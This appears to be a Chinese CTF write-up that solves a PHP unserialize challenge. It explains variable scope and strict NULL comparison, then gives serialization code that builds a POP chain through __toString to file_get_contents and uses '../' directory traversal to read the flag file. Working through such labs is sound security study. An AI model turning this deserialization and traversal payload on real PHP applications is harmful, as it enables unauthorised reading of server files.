知识点:
构造POP链
PHP类的作用域
NULL强比较
目录穿越
源码如下:
<?php
include 'flag.php';
class pkshow
{ function echo_name() { return "Pk very safe^.^"; }
} class acp
{ protected $cinder; public $neutron;public $nova;function __construct() { $this->cinder = new pkshow;} function __toString() { if (isset($this->cinder)) return $this->cinder->echo_name(); }
} class ace
{ public $filename; public $openstack;public $docker; function echo_name() { $this->openstack = unserialize($this->docker);$this->openstack->neutron = $heat;if($this->openstack->neutron === $this->openstack->nova){$file = "./{$this->filename}";if (file_get_contents($file)) { return file_get_contents($file); } else { return "keystone lost~"; } }}
} if (isset($_GET['pks']))
{$logData = unserialize($_GET['pks']);echo $logData;
}
else
{ highlight_file(__file__);
}
?>
构造POP链:
代码很直白,GET传入参数pks,输出反序列化的结果
从后向前推构造POP链,可以看到ace类中的代码 return file_get_contents($file);
file_get_contents()函数读取文件,但是不会输出,刚好代码最后会echo 输出反序列化后的结果,所以最终的目标就是读取flag文件然后输出得到flag
class ace
{ public $filename; public $openstack;public $docker; function echo_name() { $this->openstack = unserialize($this->docker);$this->openstack->neutron = $heat;if($this->openstack->neutron === $this->openstack->nova){$file = "./{$this->filename}";if (file_get_contents($file)) { return file_get_contents($file); } else { return "keystone lost~"; } }}
}
需要满足if($this->openstack->neutron === $this->openstack->nova) 条件
openstack 是ace类中docker属性反序列化得到的结果,neutron 和 nova 都是acp类中的属性
$this->openstack->neutron = $heat;
这里代码中并没有出现过$heat 参数,最开始 include 'flag.php'; 包含了flag.php文件,$heat可能是在这里定义的,但是并不重要,因为在所有类中都没有出现过$heat,那么$heat的值就是NULL
因为类中的属性和类外面的属性值是没关系的
用两个php文件演示一下,在include.php文件中定义了$heat 然后另一个是反序列化文件
//include.php
<?php
$heat="123456";
echo "hahaha"."\n";
//serialize.php
<?php
include 'include.php';
echo $heat . "\n";
class ace
{public $filename;public $docker;public function abc(){if($this->docker === $heat)echo "ddddddddddddddddddddd!";}
}$a = new ace();
echo $a->abc();
?>
结果在下面,这里没有给属性docker赋值,但是满足了 $this->docker === $heat 说明这里是NULL === NULL $heat不是外面的123456 而是NULL
既然$heat = NULL $this->openstack->neutron 和 $this->openstack->nova 就也得是NULL
$this->openstack = unserialize($this->docker); openstack 又是反序列化 docker 属性的结果,那么对docker属性不赋值即可,这样反序列化得到的就是NULL
然后就是如何调用echo_name函数,发现 acp类中的 __toString()方法会return $this->cinder->echo_name()
cinder是protected类型,不能在外部赋值,需要在类内部的__construct()方法中改为ace类对象
toString()方法会在一个对象被当作字符串时被触发自动调用
最后的代码程序接受了pks参数后会先进行反序列化,然后echo 反序列后的对象
因此如果传入pks参数后,$logData是反序列化得到的对象,然后会echo $logData,就会触发__toString()方法,完成构造
pop链:
ace::echo_name() -> acp::__toString() -> acp:: __construct()
序列化代码:
<?php
class acp
{ protected $cinder ; // 2 在__construct()内部赋值为ace类对象public $neutron;public $nova;function __construct() { $this->cinder = new ace;}
}
class ace
{ public $filename = 'flag.php'; // 内部赋值为flag.phppublic $openstack;public $docker; // 1 赋值为空(null),或者什么都不赋值} $a= new ace();
$a->docker = null;$b=new acp();
echo urlencode(serialize($b));
这里要对序列化的结果进行url编码,因为acp类中有protected类型,protected属性序列化的时候格式是 \00*\00成员名 所以需要进行url编码防止无法识别
目录穿越:
查看源码得到flag.php 的源码,$heat确实是在这里定义的
修改代码中的文件名即可,public $filename = 'nssctfasdasdflag';
回显 keystone lost~ 说明没有满足if (file_get_contents($file))条件,那就是没有读取到文件,应该是文件的路径不对
这里 $file = "./{$this->filename}"; ./表示当前目录,花括号 {} 用于在字符串中明确地界定变量的边界,逐级目录穿越查找nssctfasdasdflag 文件所在的路径即可
目录穿越一级发现成功读取得到了flag,赋值为 public $filename = '../nssctfasdasdflag' 即可